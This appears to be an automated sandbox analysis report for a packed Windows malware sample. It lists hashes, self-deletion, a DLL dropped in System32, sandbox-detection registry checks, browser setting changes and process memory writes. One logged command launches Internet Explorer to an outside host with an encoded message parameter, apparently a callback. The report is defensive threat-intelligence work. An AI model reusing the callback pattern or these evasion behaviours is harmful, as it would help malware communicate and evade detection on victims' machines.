c26dcbf785274d324bd3d52d5cca862c0b4eb3f8e52ea2d28730f468fc0a61ed

Analysis

max time kernel
121s
max time network
147s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
24/12/2023, 16:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

05f8cceb91ad96e3fec180ad4fc6c317.exe
Size

158KB
MD5

05f8cceb91ad96e3fec180ad4fc6c317
SHA1

5ef7ee929bbd7b44b365302391ae2e1fedc04b97
SHA256

c26dcbf785274d324bd3d52d5cca862c0b4eb3f8e52ea2d28730f468fc0a61ed
SHA512

602e4831a0ef7eece355ce911c2de1382b2e5bde06e3af9eaa23ade68c28bc44d21842e36d1a8b97eb78c08195090318836486b20c7a54809a89192db34a644e
SSDEEP

3072:fwABjrG3Vi/cOBLUsmyi4AHhmTdI3wIe0HRDLVT/sOrVzzXZ:oGjrUVecOJUsmdmdI3vPRDLp/s0zJ

Score

7^/10

upx

Malware Config

Signatures

Deletes itself 1 IoCs

pid	Process
1864	cmd.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2280-0-0x0000000000400000-0x0000000000435000-memory.dmp	upx
behavioral1/memory/2280-15-0x0000000000400000-0x0000000000435000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\fbbccfebbefacb.dll	05f8cceb91ad96e3fec180ad4fc6c317.exe
File opened for modification	C:\Windows\SysWOW64\RCX5744.tmp	05f8cceb91ad96e3fec180ad4fc6c317.exe
File opened for modification	C:\Windows\SysWOW64\fbbccfebbefacb.dll	05f8cceb91ad96e3fec180ad4fc6c317.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	05f8cceb91ad96e3fec180ad4fc6c317.exe
Key created	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	05f8cceb91ad96e3fec180ad4fc6c317.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	05f8cceb91ad96e3fec180ad4fc6c317.exe

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000580e1c8c6faee54b80ab28599b83677c000000000200000000001066000000010000200000008924b1e9c8e309d5d4fe89a2de8e1102cb46e5dffa18e31842b4c1cba3c49347000000000e800000000200002000000009ad2920b87d7885d20ad317203dd9977491cdfc6370670e79b9df4d91deab2a9000000099e5c19359289381f158b92e6340e3009d36232672b401c1fbe3428341cf4deff2101406703080928c2b305a67ebe0afd3f415c57de41d36ba3f650ea00cc72f2d923f4dab3dbf475450997d24dc929b5b67ba29e775f734a78e920fd05ebca0ac54845ab63ef95a245185313fd6f10e7942dc3e32fe3d1d712e31d581e987fd3d252861a9523401bce817c4bf37f1f740000000c98680403cc5b97c5ddab7aa3e3d5941a318009d21821b84552611591343de93cf48ee6b14229bc389ef484f4e9ad3f3e4287214cd2715774e072a4441864e6f	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{F427DFB1-A2BB-11EE-B6E6-EE5B2FF970AA} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000580e1c8c6faee54b80ab28599b83677c00000000020000000000106600000001000020000000ea8951a95df0c628df43f52405b7641ace27aac67181ec3081a444d71adeb55b000000000e800000000200002000000038624b5da0cc4e22fe7b8b4e33e0b4eadf696a54b9f9253e0809a56aac128208200000007ac013ed4a8c098de82f03c1c0b25632169cc750f843d0442fa5dfc1e0b9d58040000000a49623b680e2619e85a22244793bf8bf2021f8ee99d068f37e73f7b41fca014667b472e63a934b5afb5bbc70fe2f90656e84e47334717b12eb16745774e8a78e	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = a056f8cbc836da01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "409625746"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2864	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
2864	iexplore.exe
2864	iexplore.exe
2804	IEXPLORE.EXE
2804	IEXPLORE.EXE
2804	IEXPLORE.EXE
2804	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2280 wrote to memory of 1864	2280	05f8cceb91ad96e3fec180ad4fc6c317.exe	28
PID 2280 wrote to memory of 1864	2280	05f8cceb91ad96e3fec180ad4fc6c317.exe	28
PID 2280 wrote to memory of 1864	2280	05f8cceb91ad96e3fec180ad4fc6c317.exe	28
PID 2280 wrote to memory of 1864	2280	05f8cceb91ad96e3fec180ad4fc6c317.exe	28
PID 2280 wrote to memory of 2864	2280	05f8cceb91ad96e3fec180ad4fc6c317.exe	30
PID 2280 wrote to memory of 2864	2280	05f8cceb91ad96e3fec180ad4fc6c317.exe	30
PID 2280 wrote to memory of 2864	2280	05f8cceb91ad96e3fec180ad4fc6c317.exe	30
PID 2280 wrote to memory of 2864	2280	05f8cceb91ad96e3fec180ad4fc6c317.exe	30
PID 2864 wrote to memory of 2804	2864	iexplore.exe	31
PID 2864 wrote to memory of 2804	2864	iexplore.exe	31
PID 2864 wrote to memory of 2804	2864	iexplore.exe	31
PID 2864 wrote to memory of 2804	2864	iexplore.exe	31

C:\Users\Admin\AppData\Local\Temp\05f8cceb91ad96e3fec180ad4fc6c317.exe
"C:\Users\Admin\AppData\Local\Temp\05f8cceb91ad96e3fec180ad4fc6c317.exe"
1⤵
- Drops file in System32 directory
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:2280
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\Temp\365f1660fcbd54cfe759d701551944e9.bat
  2⤵
  - Deletes itself
  PID:1864
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://wl.cabolar.com/v3062/repins.jpg?msg=p1DQpfv3egf1OKvF3kRK4w4vM2yYLaHShjzxm94D33J543uklXvmfFoY6%2F1YHQmFMTOuEX7HYj7RZxpzgh5Zs7XNcq5Ecigl5IGf7U3H9tFmyM7ZIcXyp5tSXxG3076j
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2864
- - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
    "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2864 CREDAT:275457 /prefetch:2
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of SetWindowsHookEx
    PID:2804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
0aaf65e27bc46f209c3abf16d29133c2

SHA1
ad25af6a10c922f5e9df49ab558825fc055688a6

SHA256
c21cb41ddc5b9c64c0a2a4989c974ee0073a96af5b77125e58bf492e87f12c19

SHA512
f37b9ea73256116e897fff6959584c62b3d955d56cd06fc6f82142e2bc782c56d51a9a39da53082be7e9ae32d4c815fd3b987a5d58a73ca233ba9bc480a3b13c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
6b27e420d3312719821c60d0e7f60353

SHA1
e6e2c6d1b45191da5864751c6021ef7875c0734c

SHA256
b8d71f7e9d2f252b404ee941284501da1bbe20681d39ee2083ffe44b2c65ce71

SHA512
1d068496a800cb1f5c7219f0556e24660cc0f8f633430adb4e19725d85efde57b0f39f2733ae444efca52501c3d65a20045bcf05932662dd18f663fc0a4bbf2e

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
7efc4489db4af47cfd578e98fb17fcf6

SHA1
a7b1b427dd7cd28ad5b4b5bff6bef925493e07b6

SHA256
6427e249d64a159893f151ad0678195233134a9cf0680a5d912cbffd930423b5

SHA512
370e285599b21ccaee3f792796beb467d877bde4722548f5ec2f2c6f461801435aa15a67757f968137a6962a6f0e1c6e6997ecf9dd8bf6ef68585f80436e62b5

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
86a1a03742392cc99b87f21e567e3d31

SHA1
3a107761077af4fc33eb348806624544122f79d5

SHA256
fa11c9daf9df841b05401c3cae7b69d37767d0e932e8f187010691e0deef2dc6

SHA512
474a69c8306e749b73f97db939d8a14bec7cf9cd686716f5d18e72ae703ac5651804097b4317e0db91e635ca324154428da5f47a3f31ac4a338be1968545ac87

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
f3e3d72d15a5f099b599ae8195381664

SHA1
6f8dd6f348d9e2efe65c8f26e9454db183a28d9f

SHA256
08f8e6d76a388263f2c0899f21ce43952497703ea071122ab0445875227ea403

SHA512
498cb13fa5df9744e33a38fbc3e2249ba2a85f6d983ce50615e81feed27fcc5643443648c2237d77788532a66a6d77d771045d3724c329875b4cedab07042998

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
dbaf62ca569aa9c886ce3997bf016d7c

SHA1
c2cdf67a0fd2b83f21890d1aa4560874379bc809

SHA256
22cc1df6ddb0bbaf6d04961940ac222cb007498ee72c0465d40dd9e94d48c757

SHA512
a2bd76ee40276302bbc765fbb4d1a14e7e75710842cc3de31c34c3ab097d3643b17100d6413828ba7d0d1152047dbe710d178d2489736e45d18e40ed7e38e1fc

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
8fa761166be9f0606095f9ff1de0e4ba

SHA1
f5fd7593ac65a331d57e0cc9092096365667d920

SHA256
166c6023881c374694c9d7df27b9d990d462bb2272568730f458848a22e3d639

SHA512
063fbe1b59a4f93a578fcd6788365939d3aebcd975b420702656ebcff4ff2edad30b68420400485c24908f5bd13cf690c61682d7d69ff45840d1c5ba66ae082a

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
2af6e9cf1f6b1a6aac0a7d7132eddce1

SHA1
0fed6a316b73fd42f85d91bcbc0ee39d5d1d3dba

SHA256
6b04bbb9fdbeb1e7dc6881579a45a8970e520a6f57dad86800156ea23ad3bb25

SHA512
a2ac0ed6c72ef44c9bd9c0546f3327aeec325d0dc2b044e069861e7787e6de77b7899836faf16ff3a50d32c2e87a23d3b6fb9da0faa96ae8ead657a1ae21dd36

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
f6e29b4e061942788d5007ad13f71149

SHA1
61d574aaee52556bf076f8c81040cec4006f7ecc

SHA256
2c1eff0e20d0a04810d2c011822b1fd4ab5f8a7fa8f28091bdd5d7d44265eff0

SHA512
2e32121bd70054a6a48f63fc69ee1ff795be467d2a7dabea276fd7d58d403a56787397400a2698faa9ca308ecf36377d25013ae0acf29f4b8daa8690916331b4

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
53280537f4e0cc3521eaa4ae26e1f480

SHA1
c4ab591002db403fd53d0dc1470ce4ff0e389516

SHA256
d9a2e713d3f2474dea13fa1eb6284c1090eb79f3e087cc45b799298caf7ff9e3

SHA512
46f5f0ff0b0c1e2e0beec4d2a202a40532cefd142205a4e660dd6a237be82eefe355d35c8f0c8312c2d1405980d9d4e18dbac27624052fc73a040553c8ca41f6

Download Submit
C:\Users\Admin\AppData\Local\Temp\365f1660fcbd54cfe759d701551944e9.bat

Filesize
209B

MD5
b242e31afbaca989199577e81afad09d

SHA1
c934dfe9b757f4dc531206d659ba221b040f69cb

SHA256
04a1de4fb33c358b0e721393530b89162467cdb54ce985eb215d45eb403041c2

SHA512
d9293efd93964481989d3597f62cee291c2aa6a69d651b63309197d9b13d91ef6246579f8ff42136f19e43c10854cea2a45561636235907c33d14ab5081d54af

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab86CF.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar877E.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
memory/2280-15-0x0000000000400000-0x0000000000435000-memory.dmp

Filesize
212KB

Download
memory/2280-0-0x0000000000400000-0x0000000000435000-memory.dmp

Filesize
212KB

Download